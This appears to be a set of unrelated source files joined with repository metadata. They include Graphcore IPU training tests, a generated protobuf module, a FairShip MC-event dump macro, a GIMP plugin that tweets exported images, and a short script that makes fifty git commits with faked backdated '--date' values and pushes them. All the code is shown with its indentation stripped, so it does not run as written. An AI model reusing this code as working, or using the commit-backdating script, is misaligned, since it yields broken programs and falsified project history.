applications/pytorch/cnns/tests/test_train.py | payoto/graphcore_examples | 260 | 12764337 | <gh_stars>100-1000
# Copyright (c) 2020 Graphcore Ltd. All rights reserved.
import os
import gc
import pytest
import shutil
import torch
import poptorch
import popart
from poptorch.optim import SGD
import import_helper
from train import TrainingModelWithLoss
import datasets
import models
from utils import get_train_accuracy, get_test_accuracy, run_script
@pytest.mark.ipus(1)
def test_recomputation_checkpoints():
gc.collect()
# run the model with and without recomputation
def train(model, recompute):
input_data = torch.ones(1, 3, 224, 224)
labels_data = torch.ones(1).long()
opts = poptorch.Options()
if recompute:
opts._Popart.set("autoRecomputation", int(popart.RecomputationType.Standard))
opts.outputMode(poptorch.OutputMode.All)
opts.randomSeed(0)
opts.Training.gradientAccumulation(1)
opts.Precision.enableStochasticRounding(False)
model_with_loss = TrainingModelWithLoss(model)
optimizer = SGD(model_with_loss.parameters(), lr=0.01, momentum=0., use_combined_accum=True)
training_model = poptorch.trainingModel(model_with_loss, opts, optimizer=optimizer)
predictions = []
for _ in range(3):
preds, _, _ = training_model(input_data, labels_data)
predictions.append(preds)
training_model.destroy()
return predictions
class Options():
def __init__(self):
self.model = "resnet18"
self.precision = "16.16"
self.norm_type = "group"
self.norm_eps = 1e-5
self.norm_num_groups = 32
self.normalization_location = "none"
self.pipeline_splits = []
self.eight_bit_io = False
self.num_io_tiles = 0
args = Options()
torch.manual_seed(0)
model = models.get_model(args, datasets.datasets_info["cifar10"], pretrained=True)
no_recompute_predictions = train(model, False)
args.recompute_checkpoints = ["conv", "norm"]
torch.manual_seed(0)
model = models.get_model(args, datasets.datasets_info["cifar10"], pretrained=True)
recompute_predictions = train(model, True)
for pred1, pred2 in zip(no_recompute_predictions, recompute_predictions):
assert torch.allclose(pred1, pred2, atol=1e-04)
@pytest.mark.ipus(4)
def test_replicas_reduction():
gc.collect()
def common_opts():
opts = poptorch.Options()
opts.Training.accumulationAndReplicationReductionType(poptorch.ReductionType.Mean)
opts.outputMode(poptorch.OutputMode.All)
opts.randomSeed(0)
opts.Training.gradientAccumulation(1)
return opts
def run_model(opts):
input_data = torch.ones(4, 1)
labels_data = torch.ones(4).long()
model = torch.nn.Linear(1, 2, bias=False)
model_with_loss = TrainingModelWithLoss(model, 0.1)
optimizer = SGD(model_with_loss.parameters(), lr=0.1, momentum=0., use_combined_accum=True)
training_model = poptorch.trainingModel(model_with_loss, opts, optimizer=optimizer)
for _ in range(3):
preds, loss, _ = training_model(input_data, labels_data)
# return the weights of the model
return list(model_with_loss.model.named_parameters())[0][1], loss
# Single replica
opts = common_opts()
opts.replicationFactor(1)
single_replica_weights, single_replica_loss = run_model(opts)
# 4 replica running
gc.collect()
opts = common_opts()
opts.replicationFactor(4)
replicated_weights, replicated_loss = run_model(opts)
assert torch.allclose(single_replica_weights, replicated_weights, atol=1e-05)
assert torch.allclose(single_replica_loss, replicated_loss, atol=1e-05)
@pytest.mark.ipus(1)
def test_generated():
gc.collect()
run_script("train/train.py", f"--data generated --model resnet18 --epoch 1 --precision 16.16 --validation-mode none --optimizer sgd_combined --lr 0.001 --gradient-accumulation 128 --batch-size 1 --dataloader-worker 4 --seed 0")
@pytest.mark.ipus(1)
@pytest.mark.parametrize("precision", ["16.16", "32.32"])
def test_synthetic(precision):
gc.collect()
run_script("train/train.py", f"--data synthetic --model resnet18 --epoch 1 --precision {precision} --validation-mode none --optimizer sgd_combined --lr 0.001 --gradient-accumulation 64 --batch-size 1 --dataloader-worker 4 --seed 0")
@pytest.mark.parametrize("label_smoothing", [0.0, 1.0, 0.1, 0.5])
def test_loss_function(label_smoothing):
torch.manual_seed(0)
inp = torch.rand(4, 10) * 10 - 5 # create random input between [-5,5)
label = torch.ones(4).long()
# calculate the ground truth
log_pred = torch.nn.functional.log_softmax(inp, dim=-1)
ground_truth = - torch.mean(torch.sum((label_smoothing / 10.0) * log_pred, dim=1) + (1.0 - label_smoothing) * log_pred[:, 1])
model_with_loss = TrainingModelWithLoss(lambda x: x, label_smoothing=label_smoothing)
_, loss, _ = model_with_loss(inp, label)
assert torch.allclose(ground_truth, loss, atol=1e-05)
@pytest.mark.ipus(1)
def test_mixup():
gc.collect()
run_script("train/train.py", f"--mixup-alpha 0.1 --data generated --model resnet18 --epoch 1 --validation-mode none --optimizer sgd_combined --batch-size 3 --dataloader-worker 1 --seed 0")
@pytest.mark.ipus(1)
def test_cutmix():
gc.collect()
run_script("train/train.py", f"--cutmix-lambda-low 0.0 --cutmix-lambda-high 1.0 --data generated --model resnet18 --epoch 1 --validation-mode none --optimizer sgd_combined --batch-size 3 --dataloader-worker 1 --seed 0")
class TestSynthetic:
@pytest.mark.ipus(2)
@pytest.mark.ipu_version("ipu2")
def test_synthetic_mixed_precision(self):
gc.collect()
run_script("train/train.py", "--data synthetic --model resnet18 --epoch 1 --precision 16.32 --pipeline-splits layer4/0 "
"--validation-mode none --optimizer sgd_combined --lr 0.001 --gradient-accumulation 64 --dataloader-worker 4 --seed 0")
class TestTrainCIFAR10:
@pytest.mark.ipus(1)
def test_single_ipu_validation_groupnorm(self):
gc.collect()
out = run_script("train/train.py", "--data cifar10 --model resnet18 --epoch 3 --precision 16.16 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 "
"--norm-type group --norm-num-groups 32 --enable-stochastic-rounding --dataloader-worker 4 --seed 0")
acc = get_test_accuracy(out)
assert acc > 15.0
@pytest.mark.ipus(1)
@pytest.mark.ipu_version("ipu2")
def test_single_ipu_validation_batchnorm(self):
gc.collect()
out = run_script("train/train.py", "--data cifar10 --model resnet18 --epoch 2 --precision 16.16 --optimizer sgd_combined --lr 0.1 --gradient-accumulation 8 "
"--norm-type batch --batch-size 16 --enable-stochastic-rounding --dataloader-worker 4 --seed 0")
acc = get_test_accuracy(out)
assert acc > 15.0
@pytest.mark.ipus(2)
def test_replicas(self):
gc.collect()
out = run_script("train/train.py", "--data cifar10 --model resnet18 --epoch 2 --replicas 2 --precision 16.16 --validation-mode none --optimizer sgd_combined --lr 0.1 "
"--gradient-accumulation 32 --enable-stochastic-rounding --dataloader-worker 4 --seed 0")
acc = get_train_accuracy(out)
assert acc > 15.0
@pytest.mark.ipus(2)
def test_efficient_net(self):
gc.collect()
out = run_script("train/train.py", "--data cifar10 --epoch 4 --model efficientnet-b0 --precision 16.32 --validation-mode none --optimizer sgd_combined --lr 0.1 --gradient-accumulation 64 "
"--pipeline-splits blocks/2/1 --norm-type group --norm-num-groups 4 --enable-stochastic-rounding --dataloader-worker 4 --seed 0")
acc = get_train_accuracy(out)
assert acc > 15.0
@pytest.mark.ipus(1)
def test_full_precision(self):
gc.collect()
out = run_script("train/train.py", "--data cifar10 --epoch 2 --model resnet18 --precision 32.32 --optimizer sgd_combined --lr 0.1 --batch-size 1 --gradient-accumulation 64 --dataloader-worker 4 --seed 0")
acc = get_train_accuracy(out)
assert acc > 15.0
@pytest.mark.ipus(2)
@pytest.mark.ipu_version("ipu2")
def test_mixed_precision(self):
gc.collect()
out = run_script("train/train.py", "--data cifar10 --epoch 2 --model resnet18 --pipeline-splits layer4/0 --precision 16.32 --optimizer sgd_combined "
"--lr 0.1 --batch-size 1 --gradient-accumulation 64 --validation-mode none --dataloader-worker 4 --seed 0")
acc = get_train_accuracy(out)
assert acc > 15.0
@pytest.mark.ipus(1)
def test_single_ipu_mobilenet_v3_small_validation_batchnorm(self):
gc.collect()
out = run_script("train/train.py", "--data cifar10 --model mobilenet-v3-small --epoch 3 --precision 16.32 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 "
"--norm-type batch --enable-stochastic-rounding --dataloader-worker 4 --seed 0")
acc = get_test_accuracy(out)
assert acc > 15.0
@pytest.mark.ipus(1)
@pytest.mark.ipu_version("ipu2")
def test_single_ipu_mobilenet_v3_large_validation_batchnorm(self):
gc.collect()
out = run_script("train/train.py", "--data cifar10 --model mobilenet-v3-large --epoch 3 --precision 16.32 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 "
"--norm-type batch --enable-stochastic-rounding --dataloader-worker 4 --seed 0")
acc = get_test_accuracy(out)
assert acc > 15.0
@pytest.mark.ipus(1)
@pytest.mark.ipu_version("ipu2")
def test_half_resolution_training(self):
gc.collect()
out = run_script("train/train.py", "--data cifar10 --model resnet18 --epoch 1 --precision 16.32 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 "
"--norm-type batch --dataloader-worker 4 --half-res-training --fine-tune-epoch 1 --fine-tune-first-trainable-layer layer3 --weight-avg-strategy exponential "
"--weight-avg-exp-decay 0.97 --checkpoint-path test_half_resolution_training --seed 0")
acc = get_test_accuracy(out)
assert acc > 15.0
# remove folder
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
shutil.rmtree(os.path.join(parent_dir, "test_half_resolution_training"))
class TestRestoreCheckpoint:
@pytest.mark.ipus(1)
def test_restore_train(self):
gc.collect()
# create a model
out = run_script("train/train.py", "--data cifar10 --epoch 2 --model resnet18 --precision 16.16 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 --seed 0 "
"--validation-mode none --norm-type group --norm-num-groups 32 --checkpoint-path restore_test_path_test_restore_train --dataloader-worker 4")
saved_train_acc = get_train_accuracy(out)
# reload the model
out = run_script("train/restore.py", "--checkpoint-path restore_test_path_test_restore_train/resnet18_cifar10_1.pt")
acc = get_train_accuracy(out)
assert acc > saved_train_acc - 5.0
# remove folder
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
shutil.rmtree(os.path.join(parent_dir, "restore_test_path_test_restore_train"))
@pytest.mark.ipus(1)
def test_validation(self):
gc.collect()
# create a model
out = run_script("train/train.py", "--data cifar10 --epoch 1 --model resnet18 --precision 16.16 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 --seed 0 "
"--norm-type group --norm-num-groups 32 --checkpoint-path restore_test_path_test_validation --dataloader-worker 4")
saved_test_acc = get_test_accuracy(out)
# validate the model
out = run_script("train/validate.py", "--checkpoint-path restore_test_path_test_validation/resnet18_cifar10_1.pt")
acc = get_test_accuracy(out)
# close enough
assert abs(saved_test_acc - acc) < 0.01
# remove folder
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
shutil.rmtree(os.path.join(parent_dir, "restore_test_path_test_validation"))
@pytest.mark.ipus(1)
def test_weight_avg(self):
gc.collect()
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
out1 = run_script("train/train.py", "--data cifar10 --epoch 3 --model resnet18 --precision 16.16 --weight-avg-strategy mean --norm-type group "
"--norm-num-groups 32 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 --checkpoint-path restore_test_path_weight_avg "
"--weight-avg-N 2 --dataloader-worker 4 --seed 0")
os.remove(os.path.join(parent_dir, "restore_test_path_weight_avg", "resnet18_cifar10_3_averaged.pt"))
_ = run_script("train/weight_avg.py", "--checkpoint-path restore_test_path_weight_avg --weight-avg-strategy mean --weight-avg-N 2")
out2 = run_script("train/validate.py", "--checkpoint-path restore_test_path_weight_avg/resnet18_cifar10_3_averaged.pt")
acc1 = get_test_accuracy(out1)
acc2 = get_test_accuracy(out1)
assert acc1 > 15
assert acc1 == acc2
shutil.rmtree(os.path.join(parent_dir, "restore_test_path_weight_avg"))
@pytest.mark.ipus(1)
def test_mixup_cutmix_validation_weight_avg(self):
# Only make sure that checkpoint loading works with mixup model wrapper.
gc.collect()
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
run_script("train/train.py", f"--mixup-alpha 0.1 --cutmix-lambda-low 0.2 --cutmix-lambda-high 0.8 --data generated --checkpoint-path test_mixup_cutmix_validation_weight_avg --weight-avg-strategy exponential --weight-avg-exp-decay 0.97 --model resnet18 --epoch 2 --validation-mode after --optimizer sgd_combined --batch-size 4 --dataloader-worker 1 --seed 0")
shutil.rmtree(os.path.join(parent_dir, "test_mixup_cutmix_validation_weight_avg"))
@pytest.mark.ipus(1)
@pytest.mark.ipu_version("ipu2")
def test_mixup_cutmix_restore_train(self):
# Only make sure that checkpoint loading works with mixup model wrapper.
gc.collect()
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
run_script("train/train.py", f"--mixup-alpha 0.1 --cutmix-lambda-low 0.5 --cutmix-lambda-high 0.5 --data generated --checkpoint-path test_mixup_cutmix_restore_train --model resnet18 --epoch 2 --validation-mode none --optimizer sgd_combined --batch-size 4 --dataloader-worker 1 --seed 0")
run_script("train/restore.py", "--checkpoint-path test_mixup_cutmix_restore_train/resnet18_generated_1.pt")
shutil.rmtree(os.path.join(parent_dir, "test_mixup_cutmix_restore_train"))
| 2.015625 | 2 |
python-package/entry_meta_pb2.py | openmit/openmit | 15 | 12764338 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: entry_meta.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='entry_meta.proto',
package='mit.protobuf',
syntax='proto3',
serialized_pb=_b('\n\x10\x65ntry_meta.proto\x12\x0cmit.protobuf\"&\n\x0c\x46ieldIdArray\x12\x16\n\x0e\x66ield_id_array\x18\x01 \x03(\r\"\xc6\x01\n\tEntryMeta\x12\x41\n\x0e\x65ntry_meta_map\x18\x01 \x03(\x0b\x32).mit.protobuf.EntryMeta.EntryMetaMapEntry\x12\x16\n\x0e\x65mbedding_size\x18\x02 \x01(\r\x12\r\n\x05model\x18\x03 \x01(\t\x1aO\n\x11\x45ntryMetaMapEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12)\n\x05value\x18\x02 \x01(\x0b\x32\x1a.mit.protobuf.FieldIdArray:\x02\x38\x01\x42)\n\x11org.openmit.entryB\x0f\x45ntryMetaProtosP\x01\xf8\x01\x01\x62\x06proto3')
)
_FIELDIDARRAY = _descriptor.Descriptor(
name='FieldIdArray',
full_name='mit.protobuf.FieldIdArray',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='field_id_array', full_name='mit.protobuf.FieldIdArray.field_id_array', index=0,
number=1, type=13, cpp_type=3, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=34,
serialized_end=72,
)
_ENTRYMETA_ENTRYMETAMAPENTRY = _descriptor.Descriptor(
name='EntryMetaMapEntry',
full_name='mit.protobuf.EntryMeta.EntryMetaMapEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='mit.protobuf.EntryMeta.EntryMetaMapEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='mit.protobuf.EntryMeta.EntryMetaMapEntry.value', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=194,
serialized_end=273,
)
_ENTRYMETA = _descriptor.Descriptor(
name='EntryMeta',
full_name='mit.protobuf.EntryMeta',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='entry_meta_map', full_name='mit.protobuf.EntryMeta.entry_meta_map', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='embedding_size', full_name='mit.protobuf.EntryMeta.embedding_size', index=1,
number=2, type=13, cpp_type=3, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='model', full_name='mit.protobuf.EntryMeta.model', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_ENTRYMETA_ENTRYMETAMAPENTRY, ],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=75,
serialized_end=273,
)
_ENTRYMETA_ENTRYMETAMAPENTRY.fields_by_name['value'].message_type = _FIELDIDARRAY
_ENTRYMETA_ENTRYMETAMAPENTRY.containing_type = _ENTRYMETA
_ENTRYMETA.fields_by_name['entry_meta_map'].message_type = _ENTRYMETA_ENTRYMETAMAPENTRY
DESCRIPTOR.message_types_by_name['FieldIdArray'] = _FIELDIDARRAY
DESCRIPTOR.message_types_by_name['EntryMeta'] = _ENTRYMETA
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
FieldIdArray = _reflection.GeneratedProtocolMessageType('FieldIdArray', (_message.Message,), dict(
DESCRIPTOR = _FIELDIDARRAY,
__module__ = 'entry_meta_pb2'
# @@protoc_insertion_point(class_scope:mit.protobuf.FieldIdArray)
))
_sym_db.RegisterMessage(FieldIdArray)
EntryMeta = _reflection.GeneratedProtocolMessageType('EntryMeta', (_message.Message,), dict(
EntryMetaMapEntry = _reflection.GeneratedProtocolMessageType('EntryMetaMapEntry', (_message.Message,), dict(
DESCRIPTOR = _ENTRYMETA_ENTRYMETAMAPENTRY,
__module__ = 'entry_meta_pb2'
# @@protoc_insertion_point(class_scope:mit.protobuf.EntryMeta.EntryMetaMapEntry)
))
,
DESCRIPTOR = _ENTRYMETA,
__module__ = 'entry_meta_pb2'
# @@protoc_insertion_point(class_scope:mit.protobuf.EntryMeta)
))
_sym_db.RegisterMessage(EntryMeta)
_sym_db.RegisterMessage(EntryMeta.EntryMetaMapEntry)
DESCRIPTOR.has_options = True
DESCRIPTOR._options = _descriptor._ParseOptions(descriptor_pb2.FileOptions(), _b('\n\021org.openmit.entryB\017EntryMetaProtosP\001\370\001\001'))
_ENTRYMETA_ENTRYMETAMAPENTRY.has_options = True
_ENTRYMETA_ENTRYMETAMAPENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
# @@protoc_insertion_point(module_scope)
| 1.265625 | 1 |
macro/dumpEvent.py | Plamenna/proba | 0 | 12764339 | <filename>macro/dumpEvent.py
# example for dumping an MC event
import ROOT,os,sys,getopt
import rootUtils as ut
import shipunit as u
import ShipGeoConfig
ship_geo = ShipGeoConfig.Config().loadpy("$FAIRSHIP/geometry/geometry_config.py")
PDG = ROOT.TDatabasePDG.Instance()
def printMCTrack(n,MCTrack):
mcp = MCTrack[n]
print ' %6i %7i %6.3F %6.3F %7.3F %7.3F %7.3F %7.3F %6i '%(n,mcp.GetPdgCode(),mcp.GetPx()/u.GeV,mcp.GetPy()/u.GeV,mcp.GetPz()/u.GeV, \
mcp.GetStartX()/u.m,mcp.GetStartY()/u.m,mcp.GetStartZ()/u.m,mcp.GetMotherId() )
def dump(i,pcut):
tree = ROOT.gROOT.FindObjectAny('cbmsim')
tree.GetEntry(i)
print ' # pid px py pz vx vy vz mid'
n=-1
for mcp in tree.MCTrack:
n+=1
if mcp.GetP()/u.GeV < pcut : continue
printMCTrack(n,tree.MCTrack)
def dumpStraw(i):
tree = ROOT.gROOT.FindObjectAny('cbmsim')
tree.GetEntry(i)
for aStraw in tree.strawtubesPoint:
trID = astraw.GetTrackID()
if not trID < 0:
printMCTrack(trID,tree.MCTrack)
| 2.25 | 2 |
main.py | boneyrox/Python-bot | 0 | 12764340 | <gh_stars>0
import os
import random
import math
for i in range(50):
d = str(math.floor(i + 133 +150*random.random())) + ' day ago'
with open('bot.txt', 'a') as file:
file.write(d)
os.system('git add bot.txt')
os.system('git commit --date="' + d + '" -m "first commit"')
os.system('git push -u origin master')
| 2.578125 | 3 |
gimp_be/core.py | J216/gimp_be | 3 | 12764341 | import gimp
from gimp import pdb
from settings import *
from network import *
from image import *
from utils import *
from draw import *
from paint import *
from collections import Counter
import TwitterAPI
from random import randrange, choice, shuffle
from string import letters
import datetime as dt
from time import sleep
def setTwitterAPIKeys(ACCESS_TOKEN_KEY="NOT_SET",CONSUMER_KEY="NOT_SET",CONSUMER_SECRET="NOT_SET",ACCESS_TOKEN_SECRET="NOT_SET"):
global settings_data
if not ACCESS_TOKEN_KEY == "NOT_SET":
settings_data['twitter']['ACCESS_TOKEN_KEY']=ACCESS_TOKEN_KEY
settings_data['twitter']['CONSUMER_KEY']=CONSUMER_KEY
settings_data['twitter']['CONSUMER_SECRET']=CONSUMER_SECRET
settings_data['twitter']['ACCESS_TOKEN_SECRET']=ACCESS_TOKEN_SECRET
saveSettings()
def addHashtag(tag):
#add hashtag to settings
global settings_data
settings_data['twitter']['hashtags']=settings_data['twitter']['hashtags']+u' #'+unicode(tag, "utf-8")
saveSettings()
def removeHashtag(tag):
#return string of hashtags filling given character space
global settings_data
hashtags=map(str, settings_data['twitter']['hashtags'].split('#')[1:])
hashtags=map(str.strip, hashtags)
if tag in hashtags:
hashtags.remove(tag)
rt=''
for hashtag in hashtags:
rt=rt+'#'+hashtag + ' '
rt.strip()
settings_data['twitter']['hashtags']=rt
saveSettings()
return True
else:
return False
def hashtagString(length=140,mode=0):
#return string of hashtags filling given character space
global settings_data
hashtags=settings_data['twitter']['hashtags'].split('#')[1:]
hs=''
ll=[]
for item in hashtags:
if len(item)+2<=length:
ll.append(item)
ll.sort(key=len)
while length > len(ll[0]) and len(ll) > 0:
il=[]
for item in ll:
if len(item)+2<=length:
il.append(item)
shuffle(il)
if not len(il)==0:
nh=il.pop()
if len(nh)+2<=length:
length=length-len(nh)-2
hs=hs+'#'+nh.strip()+' '
if nh in ll:
ll.remove(nh)
if len(ll)<1:
return str(hs).strip()
return str(hs).strip()
def setDefaultTweet(default_tweet='GIMP-Python tweet!'):
global settings_data
settings_data['twitter']['default_tweet']=unicode(default_tweet, "utf-8")
saveSettings()
def tweetText(opt=0):
global settings_data
now = dt.datetime.now()
updateLocationData()
title = imageTitle(2)
city = settings_data["location"]["city"]
state = settings_data["location"]["state"]
host_name = settings_data["network"]["host_name"]
tempf = settings_data["location"]["tempf"]
weather = settings_data["location"]["weather"]
hashtags = settings_data["twitter"]["hashtags"]
time_stamp = str(dt.datetime.now())
tweet_text = ''
if opt == 0:
tweet_text = title + '\nby ' + settings_data['user']['author'] + '\n' + city + ' ' + state + ' | ' + host_name + '\n' + tempf + 'F ' + weather + '\n' + now.strftime("%A %B %d - %I:%M%p")
elif opt == 1:
tweet_text = title + '\nby ' + settings_data['user']['author'] + ' ' + time_stamp[:4] + '\n'
else:
tweet_text = title + '\nby ' + settings_data['user']['author'] + ' ' + time_stamp[:4]
tweet_text = tweet_text + '\n'+hashtagString(139-len(tweet_text))
return tweet_text
def tweetImage(message,image_file):
global settings_data
CONSUMER_KEY = settings_data['twitter']['consumer_key']
CONSUMER_SECRET = settings_data['twitter']['consumer_secret']
ACCESS_TOKEN_KEY = settings_data['twitter']['access_token_key']
ACCESS_TOKEN_SECRET = settings_data['twitter']['access_token_secret']
api = TwitterAPI.TwitterAPI(CONSUMER_KEY, CONSUMER_SECRET, ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET)
file = open(image_file, 'rb')
data = file.read()
r = api.request('statuses/update_with_media', {'status':message}, {'media[]':data})
return str(str(r.status_code))
def qS():
# quick set up of default size image
imageSetup()
def qXJ(comment=""):
# quick export jpg default with unique file name
global settings_data
settings_data['path']['export_name'] = str(settings_data['path']['default_save_path'])+'art-'+dt.datetime.now().strftime('%Y%m%d%H%M%S')+'-'+choice(letters)+choice(letters)+choice(letters)+'.jpg'
if comment=="":
comment=tweetText(0)
saved=saveJPG(settings_data['path']['export_name'],comment)
qXDT(saved[1],comment)
sleep(1)
return saved
def qXP(comment=""):
# quick export png default with unique file name
global settings_data
settings_data['path']['export_name'] = str(settings_data['path']['default_save_path'])+'art-'+dt.datetime.now().strftime('%Y%m%d%H%M%S')+'-'+choice(letters)+choice(letters)+choice(letters)+'.png'
image = gimp.image_list()[0]
if comment=="":
comment=tweetText(0)
saved = savePNG(settings_data['path']['export_name'])
qXDT(saved[1],comment)
return saved
def qG(comment="",delay=100):
# quick export png default with unique file name
global settings_data
settings_data['path']['export_name'] = str(settings_data['path']['default_save_path'])+'animation-'+dt.datetime.now().strftime('%Y%m%d%H%M%S')+'-'+choice(letters)+choice(letters)+choice(letters)+'.gif'
image = gimp.image_list()[0]
if comment=="":
comment=tweetText(0)
saved = saveGIF(settings_data['path']['export_name'],delay)
qXDT(saved[1],comment)
return saved
def qP(fn=""):
# quick save project
global settings_data
if fn=="":
fn = str(settings_data['path']['project_folder'])+'project-'+dt.datetime.now().strftime('%Y%m%d%H%M%S')+'-'+choice(letters)+choice(letters)+choice(letters)+'.xcf'
saveXCFProject(fn)
def qX(comment=""):
# quick export to prefered file type
global settings_data
export_modes = {"qXJ" : qXJ,
"qXP" : qXP,
"qG" : qG}
try:
mode=str(settings_data['image']['export_mode'])
return export_modes[mode](comment)
except:
mode='qXJ'
return export_modes[mode](comment)
def qT():
# generate tweet then qX() then send tweet return results
global settings_data
tweet = tweetText(0)
exported=qX(comment=tweet)
sleep(5)
return (tweetImage(tweet, exported[1]) == '200', tweet)
def qTG():
# generate tweet then qX() then send tweet return results
global settings_data
tweet = tweetText(0)
exported=qG()
return (tweetImage(tweet, exported[1]) == '200', tweet)
def qXDT(fn,comment=""):
global settings_data
setEXIFTags(fn,{"Copyright":settings_data['user']['author']+" "+dt.datetime.now().strftime('%Y'),
"License":settings_data['image']['license'],
"Comment":comment,
"XPComment":comment,
"Description":comment,
"ImageDescription":comment,
"SEMInfo":comment,
"Artist":settings_data['user']['author'],
"Author":settings_data['user']['author'],
"Software":"GIMP 2.8 Python 2.7 EXIFTool",
"Title":comment[:comment.find('\n')],
"XPTitle":comment[:comment.find('\n')],
"Make":"GIMP",
"Model":"Python",
"Rating":"5"})
def paint():
# Full auto painting
global settings_data
image = gimp.image_list()[0]
height = image.height
width = image.width
x_center = width/2
y_center = height/2
image.height
image.width
randomBlend()
loop_range = range(0, random.choice((3, 4, 5, 6)))
loop_range.reverse()
title = imageTitle(2)
for x in loop_range:
# 1. add layer
layer_add_par = {'opacity': 100, 'msk': 1}
addNewLayer(**layer_add_par)
layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)}
pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode'])
editLayerMask(0)
drawable = pdb.gimp_image_active_drawable(image)
# 1. paint layer
if random.choice((0, 1, 1, 1)):
plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000),
'Turbulence': random.choice(
(0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))}
pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence'])
if random.choice((0, 1, 1, 1, 1)):
drawRays_par = {'Number': random.choice((5, 10, 50, 100, 300)),
'Length': random.choice((80, 160, 240, 400, height / 4, height / 3, height / 2)),
'X': random.choice((width / 2, width / 3, width / 4)),
'Y': random.choice((height / 4, height / 3, height / 2))}
drawRays(drawRays_par['Number'], drawRays_par['Length'], drawRays_par['X'], drawRays_par['Y'])
# 1. mask edit
editLayerMask(1)
drawable = pdb.gimp_image_active_drawable(image)
plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000), 'Turbulence': random.choice(
(0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))}
pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence'])
if random.choice((0, 1, 1, 1, 1)):
drawRays_par = {'Number': random.choice((5, 10, 50, 100, 300)),
'Length': random.choice((80, 160, 240, 400, height / 4, height / 3, height / 2)),
'X': random.choice((width / 2, width / 3, width / 4)),
'Y': random.choice((height / 4, height / 3, height / 2))}
drawRays(drawRays_par['Number'], drawRays_par['Length'], drawRays_par['X'], drawRays_par['Y'])
editLayerMask(0)
# 2. add layer
layer_add_par = {'opacity': random.randrange(70, 100), 'msk': 1}
addNewLayer(**layer_add_par)
layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)}
pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode'])
editLayerMask(0)
# 2. paint layer
if x % 4 == 0:
drawBars_par = {'Number': random.choice((2, 3, 4, 5, 6, 7, 8, 12, 16, 32, 64, 128)),
'Mode': random.choice((0, 0, 3))}
drawBars(drawBars_par['Number'], drawBars_par['Mode'])
randomBlend()
# 2. mask edit
editLayerMask(1)
image = gimp.image_list()[0]
drawable = pdb.gimp_image_active_drawable(image)
